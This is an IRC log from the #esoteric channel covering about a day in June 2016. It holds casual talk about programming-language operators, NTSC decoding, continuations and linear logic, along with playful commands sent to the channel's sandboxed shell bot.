18:27:30 doesn't look familiar 18:27:41 you're thinking of the downto operator --> 18:27:50 <\oren\> i meant >= 18:28:17 <\oren\> but it should be => 18:28:30 why? it's "greater than or equal" 18:28:48 and if you want mirror images, I'd rather have =< than => 18:29:47 or do you want an assignment operator corresponding to ... that doesn't seem very useful. 18:30:45 <\oren\> hmmm honestly they shoukd have[made : the assignment iperator 18:31:14 ah, the keyboard alignment problems continue 18:31:46 <\oren\> and defined a 'operator combining syntax' explicitky 18:32:27 <\oren\> so :+ is just : + 18:33:16 -!- AnotherTest has joined. 18:34:00 <\oren\> and or + : 18:35:20 <\oren\> and similar x !>< y is the same as x = y 18:36:03 <\oren\> !>< is the not less or greater operator 18:36:40 -!- Koen_ has quit (Remote host closed the connection). 18:39:32 \oren\: also >>= is a great C++ operator 18:40:05 * ybden recalls seeing someone overloading >>= to do binding in C++ somewhere 18:59:53 `spam 19:00:28 6/495:t to have sex in everything? I don't want. \ 790) the scene: it is a warm summer's day in scotland, although one obscured by cloud and the fact that it is september \ 80) fungot!*@* added to ignore list. AnMaster: i'd find that a bit annoying to wait for an ack. \ 832) Do physici 19:00:46 `spam 19:00:47 7/495:sts have half-life crises? \ 670) "Category 4 ("professional") fireworks are for sale only to fireworks professionals. They have no restrictions," OK I need to become a pyrotechnician. Phantom_Hoover: that's like wanting to become a locksmith so that you can legally own lock 19:03:34 -!- AnotherTest has quit (Ping timeout: 260 seconds). 19:05:37 -!- Koen_ has joined. 19:06:18 \oren\: what's the difference between <> and >< ? 19:07:16 <.> means you're confused, >.< means you're annoyed 19:07:29 :D 19:07:29 <> is a diamond so it's much more expensive than the cheap >< 19:09:59 -!- nycs has quit (Quit: This computer has gone to sleep). 19:14:41 <> has precedent in Pascal, IIRC 19:16:02 fizzie: I'm now wondering what a ░▒▓█▓▒░ chicken is 19:16:20 is it an evil-eye'd chicken, or is there a deeper meaning? 19:17:12 izabera: So that's why BASICs are now extinct creatures! 19:17:24 (Or at least an endangered species...) 19:17:51 VB, VBA, VBS, ... :p 19:18:06 1. who uses VBA and VBS 19:18:14 2. VB has been mutated into something very-not-BASIC 19:18:35 virtual bullshit? 19:18:44 (and besides, it's a Microsoft product, of course it has diamonds) 19:18:51 well, msoffice uses vba 19:18:58 (...just expect the diamonds to be made out of glass...) 19:19:15 window glass, hmm? 19:19:26 -!- `^_^v has joined. 19:19:52 I wrote a program to make NTSC decoding and tried to use with the picture http://3.bp.blogspot.com/-5HF7Iwp74Lk/VS6s1IYf7eI/AAAAAAAAAJY/k1mIBF4aAUA/s1600/1k07_cga_composite_solid_colors_1.png but the colours are wrong do you know why? I also tried https://upload.wikimedia.org/wikipedia/commons/f/fb/CGA_CompVsRGB_640.png and still it is wrong. 19:19:53 int-e: No, the really poor-quality stuff 19:21:40 zzo38: You'll probably want to try actually using a recorded NTSC signal 19:22:32 -!- Koen__ has joined. 19:22:40 gamemanj: I don't have any. 19:24:25 Never The Same Color 19:24:50 Perfectly Accurate Label 19:25:10 -!- Koen_ has quit (Ping timeout: 244 seconds). 19:25:16 I mean it is hardly even close, even if I tamper with the phase and finetune settings. 19:27:14 Yes, but how are you exactly decoding from a picture? 19:29:11 It expects a grayscale picture as input (it pays attention only to the red channel) 19:37:39 I tried using ImageMagick's HS_VERTICAL pattern as input and set it to advance the phase on each scan line, and the yellow and cyan colours are missing. 19:39:51 I used the command: convert -size 80x160 pattern:hs_vertical png:- | pngff | ff-solar rgb 0 | ff-enlarge 4 1 | ff-dntsc t=32 y=32 i=32 q=32 l=0 s=5 p=.5 | ffpng > /var/www/img_1A/test1.png This is the output: http://zzo38computer.org/img_1A/test1.png 19:44:29 You have reg, green and blue... 19:44:32 *red 19:45:15 Looking at it, you have Cyan, it's just dark and desaturated. 19:45:36 You also have yellow, but it's also dark and desaturated. 19:47:44 Is that due to the pattern I am using as input? I will try a different input 19:48:40 zzo38: try lenna 19:48:47 or the baboon 19:49:23 Do you have a NTSC version of those pictures? 19:49:50 zzo38: no\ 19:50:19 -!- hwpplayer1 has joined. 19:51:51 I tried using a different pattern (VERTICAL 2 with enlarging) and then when I zoomed I found that yes I do have yellow and cyan but it is dark and desaturated. Is NTSC supposed to work like that? 19:55:14 -!- adu has quit (Quit: adu). 20:04:21 zzo38: I'm not an NTSC expert. Again, what's really needed is a recorded signal... 20:04:28 Now, how to get one, IDK. 20:04:51 Technically, all that's needed is one or two frames at 18-or-so Mhz. 20:05:15 Assuming I'm not completely wrong. 20:05:28 Trouble is, you can't exactly use a sound card to capture that. 20:05:35 -!- FreeFull has joined. 20:06:24 Yeah, you'd need a beefier ADC. Like an SDR or something. 20:06:38 Or an FPGA... 20:06:42 hmm 20:06:53 I say SDR because you could just get one. 20:07:03 True 20:07:09 assuming it captures fast enough... 20:07:10 wait! 20:07:11 Though you'd probably wanna skip the radio frontend if you're doing composite in. 20:07:11 I know! 20:07:16 I know where you could get a signal 20:07:20 hopefully 20:07:29 just a matter of where the URL was... 20:07:44 http://websdr.ewi.utwente.nl:8901/ 20:07:48 It would. At least, some SDRs are perfectly capable of handling a 6 MHz signal. 20:08:11 The problem with that is, analog NTSC is not broadcast in the Netherlands. :) 20:08:41 Neat, though. 20:08:44 .... 20:08:52 and it doesn't go above 29Mhz 20:12:56 Aha 20:12:58 there's a list of them 20:13:08 If there are any in the right range... 20:13:23 Specifically 55.25 20:13:25 Mhz 20:13:55 -!- AnotherTest has joined. 20:14:09 ...it's like as if they're taking special care not to hit those ranges 20:19:40 `cat bin/` 20:20:22 -!- PinealGlandOptic has joined. 20:20:31 ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnooodl 20:21:32 `` ls -l bin/\' 20:21:35 lrwxrwxrwx 1 50000000 0 5 Dec 9 04:12 bin/' -> quote 20:21:37 clever 20:21:40 `culprits bin/' 20:21:54 tswett tswett int-e 20:23:18 `mkx bin/1 \` "$@" | sport 20:23:20 usage: mk[x] file//contents 20:23:26 `mkx bin/1//\` "$@" | sport 20:23:31 bin/1 20:23:51 `1 for i in {1..1000}; do echo $i; done 20:23:54 1/18:1 \ 2 \ 3 \ 4 \ 5 \ 6 \ 7 \ 8 \ 9 \ 10 \ 11 \ 12 \ 13 \ 14 \ 15 \ 16 \ 17 \ 18 \ 19 \ 20 \ 21 \ 22 \ 23 \ 24 \ 25 \ 26 \ 27 \ 28 \ 29 \ 30 \ 31 \ 32 \ 33 \ 34 \ 35 \ 36 \ 37 \ 38 \ 39 \ 40 \ 41 \ 42 \ 43 \ 44 \ 45 \ 46 \ 47 \ 48 \ 49 \ 50 \ 51 \ 52 \ 53 \ 54 \ 55 \ 56 \ 57 \ 58 \ 59 \ 60 \ 61 \ 62 \ 63 \ 64 \ 65 \ 66 \ 67 \ 68 \ 20:23:57 `spam 20:23:58 2/18: 69 \ 70 \ 71 \ 72 \ 73 \ 74 \ 75 \ 76 \ 77 \ 78 \ 79 \ 80 \ 81 \ 82 \ 83 \ 84 \ 85 \ 86 \ 87 \ 88 \ 89 \ 90 \ 91 \ 92 \ 93 \ 94 \ 95 \ 96 \ 97 \ 98 \ 99 \ 100 \ 101 \ 102 \ 103 \ 104 \ 105 \ 106 \ 107 \ 108 \ 109 \ 110 \ 11111111 \ 112 \ 113 \ 114 \ 115 \ 116 \ 117 \ 118 \ 119 \ 120 \ 121 \ 122 \ 123 \ 124 \ 125 \ 126 \ 127 \ 1 20:24:22 lynn: foiled by the nooodl 20:24:37 what's with the ones ? 20:25:23 What about them? 20:25:40 `speek 12 20:25:42 12/18: \ 622 \ 623 \ 624 \ 625 \ 626 \ 627 \ 628 \ 629 \ 630 \ 631 \ 632 \ 633 \ 634 \ 635 \ 636 \ 637 \ 638 \ 639 \ 640 \ 641 \ 642 \ 643 \ 644 \ 645 \ 646 \ 647 \ 648 \ 649 \ 650 \ 651 \ 652 \ 653 \ 654 \ 655 \ 656 \ 657 \ 658 \ 659 \ 660 \ 661 \ 662 \ 663 \ 664 \ 665 \ 66666 \ 667 \ 668 \ 669 \ 670 \ 671 \ 672 \ 673 \ 674 \ 675 \ 6 20:25:54 `speek 15 20:25:55 15/18:786 \ 787 \ 788 \ 789 \ 790 \ 791 \ 792 \ 793 \ 794 \ 795 \ 796 \ 797 \ 798 \ 799 \ 800 \ 801 \ 802 \ 803 \ 804 \ 805 \ 806 \ 807 \ 808 \ 809 \ 810 \ 811 \ 812 \ 813 \ 814 \ 815 \ 816 \ 817 \ 818 \ 819 \ 820 \ 821 \ 822 \ 823 \ 824 \ 825 \ 826 \ 827 \ 828 \ 829 \ 830 \ 831 \ 832 \ 833 \ 834 \ 835 \ 836 \ 837 \ 838 \ 839 \ 840 \ 20:26:03 `speek 16 20:26:04 16/18:841 \ 842 \ 843 \ 844 \ 845 \ 846 \ 847 \ 848 \ 849 \ 850 \ 851 \ 852 \ 853 \ 854 \ 855 \ 856 \ 857 \ 858 \ 859 \ 860 \ 861 \ 862 \ 863 \ 864 \ 865 \ 866 \ 867 \ 868 \ 869 \ 870 \ 871 \ 872 \ 873 \ 874 \ 875 \ 876 \ 877 \ 878 \ 879 \ 880 \ 881 \ 882 \ 883 \ 884 \ 885 \ 886 \ 887 \ 888888 \ 889 \ 890 \ 891 \ 892 \ 893 \ 894 \ 895 20:27:33 Might make sense to upgrade ` to do it automatically. 20:27:37 Or might not. 20:30:07 `which cat 20:30:08 ​/bin/cat 20:30:11 `which spam 20:30:13 ​/hackenv/bin/spam 20:30:20 `pwd 20:30:21 ​/hackenv 20:30:26 `ls bin/spam 20:30:27 bin/spam 20:30:28 `ls bin/ 20:30:34 ​` \ `` \ ^.^ \ ̊ \ \ ! \ ? \ ?? \ ¿ \ ' \ @ \ * \ ؟ \ \ \ \ 1 \ 1492 \ 2014 \ 2015 \ 2016 \ 2017 \ 5quote \ 8ball \ 8-ball \ aaaaaaaaa \ addquote \ addtodo \ aglist \ allquotes \ analogy \ anonlog \ append \ arienvenido \ as86 \ aseen \ asm \ autowelcome \ bardsworthlist \ before \ benvenuto \ bf \ bff \ bienvenido \ bienvenue \ bla 20:30:40 hm 20:30:47 `cat bin/` 20:30:48 ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnooodl 20:31:34 `which rnooodl 20:31:35 ​/hackenv/bin/rnooodl 20:31:43 `cat bin/rnooodl 20:31:44 perl -pe 's/([^wW\W])\1\1/"@{[$1 x(3+rand 7)]}"/ge' 20:31:57 `rnooodl 20:32:01 `rnooodl test 20:32:16 `rnooodl <<< test 20:32:30 No output. 20:32:42 No output. 20:32:55 No output. 20:35:09 -!- AnotherTest has quit (Ping timeout: 260 seconds). 20:36:10 -!- adu has joined. 20:36:45 `aaaaaaaaa 20:36:55 -!- `^_^v has quit (Quit: This computer has gone to sleep). 20:37:17 No output. 20:37:37 wat 20:37:44 `aaaaaaaaa How useful!!!!1 20:37:46 Aaa aaaaaa!!!!4 20:49:59 -!- `^_^v has joined. 20:50:28 -!- `^_^v has quit (Client Quit). 20:52:06 -!- `^_^v has joined. 21:01:32 -!- adu has quit (Quit: adu). 21:07:37 -!- PinealGlandOptic has quit (Quit: leaving). 21:11:24 \oren\: how comes the emoji? 21:16:05 -!- spiette has quit (Quit: :qa!). 21:25:49 shachaf: That is an *amazing* nooodlification. 21:30:42 -!- idris-bot has quit (Quit: Terminated). 21:31:04 -!- Melvar has quit (Quit: thunderstorm). 21:34:47 lynn: what's a "fancy finite automata fact" 21:37:17 {w | w contains an equal number of occurrences of the substrings 01 and 10} is regular! 21:37:45 That's a nice little "wait, what?" moment. 21:37:50 is 010 counted twice? 21:37:55 shachaf: Finite automata run your computer. 21:38:50 gamemanj: maybe they run your computer hth 21:39:00 lynn: Is the alphabet of size 2 or arbitrary? 21:39:10 shachaf: they run most computers 21:39:16 Oh, Σ = {0, 1}. 21:39:37 Now, admittedly although it's finite, the amount of possibilities is huge... 21:39:41 well, the dfa is pretty easy 21:39:44 but that does not change that it is a finite automata. 21:40:31 Right. Once you think about what its strings look like, the DFA/regex writes itself 21:40:55 But from its description, it sounds non-regular, because it's "counting". 21:41:05 It's cute 21:50:43 https://pbs.twimg.com/media/Cje7c52W0AAPxiY.jpg 21:53:34 -!- Reece` has quit (Read error: Connection reset by peer). 21:55:13 -!- Melvar has joined. 22:05:27 <\oren\> the oberth effect is creepy space voodoo 22:05:44 `recipe 22:05:46 ​ 2 c Water \ 2 tb Olives \ 1 ts Cornstarch \ 2 ea Eggs; beaten \ 1/2 c Milk \ 1 1/2 ts Earmean Cheese \ 1/4 ts Salt \ 1/4 ts Tumeric wafers, dried \ - blueberry sauce \ 1/2 c Freshly ground pepper seeds \ -- in seasoning \ Milk \ 8 oz Semisweet chocolate \ \ The sauce and left carefully with flour and stir in the bay leaf. Add ric 22:06:15 what does " ea " mean there? 22:06:34 -!- `^_^v has quit (Quit: This computer has gone to sleep). 22:06:45 that doesn't look as bad as some of the recipes by the way 22:06:47 <\oren\> each 22:06:57 -!- gamemanj has quit (Ping timeout: 260 seconds). 22:07:03 \oren\: yeah, but what does that mean in this context? 22:07:14 -!- idris-bot has joined. 22:07:36 <\oren\> it foesnt make[srnse ij this context 22:07:41 o 22:07:50 `random-card 22:07:53 Vulshok Morningstar \ 2 \ Artifact -- Equipment \ Equipped creature gets +2/+2. \ Equip {2} ({2}: Attach to target creature you control. Equip only as a sorcery.) \ DST-C, 9ED-U, DDI-U 22:08:00 `random-card untap\b 22:08:02 Jace Beleren Avatar \ Vanguard \ 0/0 \ {0}: Choose a player. That player reveals his or her hand. \ {0}: Choose a player. That player reveals his or her library. Choose any number of cards from it. That player puts those cards into his or her hand. \ {0}: Choose a player. Untap all permanents that player controls. \ {0}: Choose a permanent, spell, 22:10:44 -!- `^_^v has joined. 22:27:27 -!- hwpplayer1 has quit (Quit: Leaving.). 22:28:15 -!- hwpplayer1 has joined. 22:28:51 -!- hwpplayer1 has left. 22:32:02 -!- `^_^v has quit (Ping timeout: 258 seconds). 22:57:21 the hello world in libgccjit takes .3s to run :( 22:57:46 this is a thing? 22:57:55 yeah 22:58:11 https://gcc.gnu.org/onlinedocs/gcc-6.1.0/jit/intro/tutorial01.html 23:01:53 -!- Sgeo has joined. 23:03:17 -!- hwpplayer1 has joined. 23:06:12 -!- hwpplayer1 has left. 23:10:01 -!- moon__ has quit (Ping timeout: 240 seconds). 23:10:04 -!- boily has joined. 23:10:47 `wisdom 23:10:53 tisc//TISC is "The instruction set computers", which refers to computers with instruction sets. 23:14:18 -!- int-e has left ("COUNTERFEIT CHICKEN"). 23:14:18 -!- int-e has joined. 23:16:47 int-ello. I will sue you! I don't know when nor how, but I will! 23:20:35 -!- evalj has joined. 23:22:32 (call/cc (lambda (x) (call/cc (lambda (y) (x y))))) 23:23:41 `welcome rntz 23:23:43 rntz: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 23:24:17 what was the purpose of that? :P 23:24:29 Have you been welcomed here before? 23:26:11 and if so, with rainbow or without? 23:29:20 iono 23:29:27 what are your approximate coördinates and body weigh? what do you think about roast beef? 23:29:31 I wonder whether lem is a better primitive than callCC. 23:29:49 shachaf: um, what lem? 23:30:18 `? lem 23:30:22 Stanisław Lem was a Polish logician who discovered the law of excluded middle. 23:30:24 :t lem 23:30:25 Cont r (Either (a -> Cont r v) a) 23:30:47 rntz: How do you express (callCC callCC) in Haskell? 23:31:11 * boily 's brain suddenly hurts... 23:31:15 rntz: Oh, based on what you said in the other channel you're probably thinking the same thing. 23:32:39 there are other channels? 23:32:45 `? #esoteric 23:32:47 ​#esoteric is the only channel that doesn't exist. After monqy left it became slightly off-centër. It's about 30 m (100 ft) across. oerjan seems to be making a lawn in the northern part, but it keeps getting dug up by free ranging moons. May contain crude drawings of nuts. 23:33:26 shachaf: lem is definitely not a better primitive than call/cc 23:33:32 let/cc might be better than call/cc 23:33:39 I thought the same thing as if lem is a better primitive than callCC, and made up the implementation; you can use both 23:33:39 but that's basically a matter of style 23:33:42 Wait, which one is let/cc? 23:33:47 Is that just the macro with the built-in binder? 23:33:49 yes 23:33:51 Or is it the one that lets you do recursion? 23:33:59 let/cc x in e = call/cc (lambda x. e) 23:34:36 @ask oerjan hellørjan. can I grow hot peppers on your northern lawn? 23:34:36 Consider it noted. 23:34:38 @let letCC = callCC (return . fix) 23:34:40 Defined. 23:34:58 i prefer that letCC hth 23:35:05 it does not 23:35:10 Maybe it should be called getCC. 23:35:25 @let getCC = callCC (return . fix) 23:35:26 Defined. 23:38:02 monochrom calls it setjmp in https://www.vex.net/~trebla/haskell/cont-monad.xhtml 23:39:31 There is also setjmp command in C 23:40:21 yes, that's presumably the origin of the name 23:40:39 -!- yorick_ has changed nick to yorick. 23:40:43 although I suspect this "setjmp" is a little more powerful 23:40:57 Don't you think the Either in lem is nice? 23:41:51 > (`runCont` id) $ do { e <- lem; case e of Left k -> k 5; Right x -> return x } 23:41:55 5 23:43:06 I did also did it like that. 23:43:43 shachaf: you mean, as opposed to just bare (call/cc call/cc)? yes 23:43:52 shachaf: or do you mean, as opposed to having call/cc as a primitive? 23:44:01 As opposed to having call/cc as a primitive. 23:44:04 ah. no. 23:44:08 :P 23:44:23 I also wondered whether dne is a better primitive. 23:44:50 shachaf: btw, the way I found the scheme puzzle was by playing around with an unusual formulation of classical logic you might like: http://www.rntz.net/files/adjoint-classical-constructive.pdf 23:45:13 -!- evalj has quit (Remote host closed the connection). 23:45:40 (it's like 2 pages long, I haven't actually finished/figured out the "adjoint" part of it) 23:45:42 Adjoint logic? Sounds a bit wholesome. 23:46:28 wholesome? 23:46:49 Hmm, this logic is very classical. 23:47:13 yyyes, that is the point 23:47:28 Yes. 23:50:51 I agree that that symmetry is pretty nice. 23:51:15 Is there a dual version with no introduction rules? 23:51:29 I don't know! 23:51:42 I suspect so. 23:51:48 But I'd have to go work it out 23:52:10 Or is there some version of this for linear logic? 23:52:30 hm, that I definitely don't know 23:52:51 there are one-sided presentations of classical linear logic 23:52:59 which makes me suspect there might be something like this 23:53:49 I wonder what the classical-linear equivalent of contradiction (#) is 23:54:16 (hell, there might even be more than one, linear logic is strange) 23:56:11 I bet there are two. 23:56:33 This is confusing because in ASCII you often write par as #. 23:56:59 Anyway, in linear logic, LEM is true with par. 23:58:37 I bet if I learned enough about Chu spaces I would know. 23:58:42 Do you know about Chu spaces? 23:58:49 `? chu space 23:58:51 `? rntz 23:59:04 A Chu space is just a matrix. Taneb invented them, then Chu stole his invention. 23:59:04 rntz? ¯\(°​_o)/¯ 2016-06-04: 00:01:12 gah, how do you typeset a par-symbol (upside-down ampersand) in latex anyways 00:01:45 A⅋B 00:02:40 If you have a font that can support it then you can do it. 00:02:56 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 00:05:04 `learn rntz is a classically-trained logician known for his constructive criticism. 00:05:11 Learned 'rntz': rntz is a classically-trained logician known for his constructive criticism. 00:05:25 c.c 00:05:36 stmaryrd has \binampersand and \bindnasrepma, which will do 00:06:01 -!- Phantom_Hoover has joined. 00:06:15 `spam 00:06:18 17/18: \ 896 \ 897 \ 898 \ 899 \ 900 \ 901 \ 902 \ 903 \ 904 \ 905 \ 906 \ 907 \ 908 \ 909 \ 910 \ 911 \ 912 \ 913 \ 914 \ 915 \ 916 \ 917 \ 918 \ 919 \ 920 \ 921 \ 922 \ 923 \ 924 \ 925 \ 926 \ 927 \ 928 \ 929 \ 930 \ 931 \ 932 \ 933 \ 934 \ 935 \ 936 \ 937 \ 938 \ 939 \ 940 \ 941 \ 942 \ 943 \ 944 \ 945 \ 946 \ 947 \ 948 \ 949 \ 950 00:06:49 I'm quite pleased with spore/spam/spout/spline/sport/speek 00:07:49 -!- hppavilion[1] has joined. 00:08:39 `spore 00:08:51 hm 00:08:57 I don't know what I was expecting 00:09:10 No output. 00:09:12 rntziao 00:09:18 `sport bin/distort 00:09:22 1/1:#!/usr/bin/env python \ import sys \ N=330 \ name = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin" \ with open(name, "r") as f: \ data = f.read().replace("\n", " \\ ") \ for i in xrange(0, len(data), N): \ print data[i:i+N] \ 00:09:29 I guess it fits on one line. 00:09:44 rntz: Can you give me a good intuition for par? 00:10:06 Obviously you're a Chu space h8r. But somethign in terms of threads or parallel universes or something would be good too. 00:11:16 (A par B) means you get A and B but their proofs can't interact with one another 00:11:28 wait, no, opposite of that 00:11:40 in (A tensor B) their proofs can't interact, but *you* can use them together 00:11:49 in (A par B) their proofs can interact, so *you* can't use them together 00:12:41 this is why (A par not A) works: the "not A" communicates with the "A" - you can think of it as a reified communication channel 00:12:58 one end of the channel obeys "A", the other obeys "not A" 00:16:03 -!- adu has joined. 00:16:38 starting to wonder if setting all my fonts to Biolinum was a good idea 00:17:54 Phantom_Helloover. it is a good idea, but Liberation is better hth 00:18:15 rntz: \usepackage{cmll} \parr says http://detexify.kirelabs.org/classify.html 00:18:25 (Man, *drawing* an upside-down ampersand was *really hard*.) 00:19:28 fizzie: convince yourself the sheet is upside-down and draw with your left hand (assuming you're right-handed, or right hand if left-handed) 00:19:47 fizzie: oh, thanks 00:19:58 Kelloen__. long time no see. 00:20:03 that looks rather better than stmaryrd, actually! 00:24:33 -!- idris-bot has quit (Ping timeout: 240 seconds). 00:25:33 -!- Melvar has quit (Ping timeout: 240 seconds). 00:32:12 -!- adu has quit (Remote host closed the connection). 00:44:26 -!- oerjan has joined. 00:46:55 @messages- 00:46:55 gamemanj said 11h 41m 32s ago: I've lost context as to what you said... 00:46:55 gamemanj said 11h 40m 51s ago: Is it irony when you fake a quit, and then you get a standard scheduled network disconnection shortly after? 00:46:55 gamemanj said 11h 40m 34s ago: Because that's what happened to me ^.^; 00:46:55 boily asked 1h 12m 18s ago: hellørjan. can I grow hot peppers on your northern lawn? 00:47:12 bah should have checked the number. 00:47:55 @tell gamemanj so have i hth 00:47:55 Consider it noted. 00:48:18 * oerjan did that on purpose 00:48:19 boily: By the by, ff you're interested, I sprunged some chicken stats recently. 00:48:56 ! 00:49:00 http://sprunge.us/FIcQ 00:49:11 wooooah... :D 00:49:29 øhoily. just chilli out here whenever you want. 00:50:22 * boily hugs fizzie 00:50:31 . o O ( REPETITIVE CHICKEN ) 00:51:06 * boily thwacks oerjan. 0.5 shachafs. 00:51:41 yeah i couldn't think of a better one. 00:51:55 i wrote a go playing bash program 00:52:03 this is its first game http://i.imgur.com/BVW1Tr1.gif 00:52:05 bot is black 00:52:31 izabellora! 00:52:37 helloily 00:52:53 how dare you bash go! 00:53:05 haha 00:53:23 -!- Koen__ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 00:53:24 * boily thwacks oerjan again. 0.91 shachafs. 00:53:29 yay 00:53:51 * shachaf ###----- boily * 00:53:54 izabera: It doesn't look like very good? 00:54:00 it only plays mirror go <.< 00:54:15 fizzie: was this agglomerated from everybody who chickened? some of them don't quite follow the Regular Pattern of the Thing. 00:54:19 it's like 2 lines of code + 28 lines of boilerplate to speak the protocol 00:54:29 * boily wobbles and wiggles from shachaf's swat 00:55:36 boily: It's supposed to be just you (target = '#esoteric' and nick = 'boily' and type = 'quit' and body like '% CHICKEN') but logs are not an exact science. 00:55:43 I didn't swat anyone. 00:57:15 i'm pretty sure i read there's a way to bit a player mirroring you. also, i suspect you can make mirroring an illegal move by clever capturing. 00:57:21 *to beat 00:57:49 (which might be how to beat it, fwiw) 00:59:15 biting players is generally frowned upon hth 01:00:28 strangely, I pectoralchickened twice. not surprised about the polycyclopeanism. 01:00:33 s/twice/thrice/ 01:01:48 i guess that gif pretty much proves the first part. 01:02:03 shachaf: ok, I have literally guessed at what the rules for a three-judgment-style classical linear logic should look like and put them into http://www.rntz.net/files/adjoint-classical-constructive.pdf (page 3, section 2) 01:07:18 boily: is the YEARLY CHICKEN actually yearly twh 01:08:57 good question. I don't think so it's yearly yet. it ought to! 01:09:16 . o O ( what's the chickenest day of the year? ) 01:11:13 boily: 2 days before thanksgiving hth 01:11:36 2014-12-11 23:04:31+00 | Quit: YEARLY CHICKEN 01:11:36 2015-12-24 05:01:58+00 | Quit: YEARLY CHICKEN 01:11:36 2016-03-11 02:40:13+00 | Quit: YEARLY CHICKEN 01:11:43 (Chicken evolves into X! // X evolves into Turkey!) 01:11:51 hppavellon[1]. 01:11:59 boily: Solve for X 01:12:41 fizzie: the second one happens to be midnight localtime between December 23 and 24. my birthday's on the 24th hth 01:12:54 O, clearly it must be Sunday, I suppose (if you are Canadian) 01:13:28 so two days before Canadian Thanksgiving it is. 01:13:49 boily: alas you seem to have used up this year's 01:13:58 yup. we'll have to wait. 01:14:01 The chickenest of the year per my logs is a shared honour between March 16th, May 16th and May 17th, with 7 chickens each. 01:14:16 (By which I mean X is Sunday; Thanksgiving is Monday) 01:14:42 so wednesday in the us, then 01:15:28 Chicken evolves into Sunday? 01:15:36 on thanksgiving most of the turkeys are eating to prevent them evolving into the fearsome turduckens 01:15:41 *eaten 01:16:26 As for days of the week, Monday is chickeniest: http://sprunge.us/chNb 01:16:28 But that's possibly influenced by timezones; there may be in UTC or in EET/EEST or in some sort of a mixture, I think there was a logging mishap for some period of time. 01:16:35 s/there/these/ 01:16:52 boily: Yes, I guess so 01:17:05 The URL preview thing that comes with this computer refuses to preview text/plain pages. 01:17:18 "This preview cannot be safely displayed in Quick Look." 01:17:25 more like scow look 01:17:33 Why? 01:17:34 not safe? text/plain? come on 01:17:56 But text/plain is the only safe format! 01:18:27 (Anyways, you can add a question mark and name of syntax highlighting at the end of a sprunge URL if you want it in HTML format, I think.) 01:19:12 But this URL preview thing is mainly useful for clicking on a URL. 01:19:20 If I typed it in it would defeat most of the purpose. 01:19:59 zzo38: Anyway, there are plenty of other safe format. 01:20:18 For example, application/activex 01:21:10 No it isn't, just text/plain would be. And any format that "cannot be safely displayed" should be interpreted as text/plain so that it can be displayed anyways 01:21:34 text/plain with what encoding? 01:22:22 ASCII. (Possibly a few other encoding could be safely too, but it ought to nevertheless tell you what encoding.) 01:24:46 @time rntz 01:24:46 Local time for rntz is Fri Jun 3 20:24:46 2016 01:25:01 rntz: i find that dubious hth 01:25:49 crappy pic tho <-- you'd think that's a feature 01:27:32 shachaf: what's dubious about it? 01:28:11 Last I heard rntz is at bham.ac.uk. 01:28:13 that's that atlantic time zone, isn't it 01:28:20 shachaf: his ip is comcast? 01:29:00 `` allquotes | shuf | sport 01:29:16 1/495:1169) Ugh still hungry After having a ball of salt (not a literal ball of salt0 Try a literal ball of salt. \ 1160) `quote 1146 1146) OKAY \ 977) i'm not actually competent at hacking things ummmmmmmmm kmc dont u mean `cracking' [tiny glider symbol with "hacker pri 01:29:22 shachaf: has it occured to you that the | sport there is essentially just adding noise 01:29:32 oerjan: and my ip is fremont but i don't live in fremont hth 01:29:40 shocking 01:29:42 oerjan: Only if I don't look at the next line. 01:30:05 For example right now I want to see how that quote ends. 01:30:09 shachaf: well i suppose you get the rest of any cut off ones hm 01:30:15 `spam 01:30:17 2/495:de" written next to it in silkscreen] [head of a gnu] [tux penguin] [face shoved in toilet] \ 1166) fungot: Can you write your own page? fizzie: what is how? i assume, at least one snake? \ 970) i don't know what that is so i'm going to assume it's a flavor of pocky \ 625) wolfram armaged 01:30:26 The name "spam" makes me feel slightly guilty when I use it. 01:30:44 it does look spammy 01:31:01 it makes me less likely than normal to actually read the output 01:31:39 quote overdose 01:32:11 quoverdose 01:32:36 Anyway the design here is that we leave those quotes in the spout. 01:32:51 Then anyone can `spam for a dose of quotes that never repeat. 01:33:54 `spam 01:33:56 3/495:don, the genius overlord game \ 1062) are you a hardcore PC gamer Sgeo_ Want to be \ 243) There are white Africans out there, but, you know. A black swan in the hand does not imply causation. \ 1252) I was watching a pair of otters, and somehow the name "Harry P. Otter" hasn't left my brain sinc 01:34:01 don't spam, boily 01:34:09 okay. 01:34:13 `unspam 01:34:15 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: unspam: not found 01:34:29 Quote 1062 is pretty good, though. 01:34:51 shachaf: Are you sure? 01:35:27 I wish someone would fix up sport to try to end chunks on a newline if possible. 01:35:31 oerjan shachaf: my irc server is in a different timezone than I am 01:35:33 (fizzie this means you) 01:35:43 rntz: I figured. 01:35:49 "irc server" meaning, not my irc server, but the server that runs my irc client 01:36:01 i,i the client/server adjunction 01:36:04 `` echo `spam 01:36:06 IRC client server. 01:36:06 ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching ``' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file 01:36:14 `` echo \`spam 01:36:16 ​`spam 01:36:56 rntz: If you like adjunctions you must be a big fan of Chu spaces. 01:37:10 Chu spaces are all about adjunctions. 01:37:17 Instead of spam now you need to make spam and eggs and eggs and spam. 01:37:25 If I understand Chu spaces, perhaps I'll understand the true nature of adjunctions. 01:37:28 (Or vice versa.) 01:47:24 shachaf: maybe the true nature of adjunctions will understand you instead 01:47:39 That moment when you're fiddling with MC command blocks and you forget about exponential growth 01:49:06 Specifically, I made a device that summons a column of TNT with a 110 tick fuse (a tick is 1/20 seconds) above every entity in the world by 100 units 01:49:38 It does this by summoning a block of primed TNT with the fuse 100 units above each entity every tick for 1.5 seconds 01:49:47 I forgot that the primed TNT itself counts as an entity 01:50:21 So for 30 generations, it was doubling the number of entities in the world 01:51:24 So for a 20 entity world, if I hadn't crashed, there would've been 21474836480 entities in the world 01:52:09 0.9999999999906868% of them would be TNT, and TNT by nature (exploding and deleting a random pattern of blocks) is /very/ laggy on detonation 01:55:47 -!- Phantom_Hoover has quit (Remote host closed the connection). 02:08:05 -!- boily has quit (Quit: 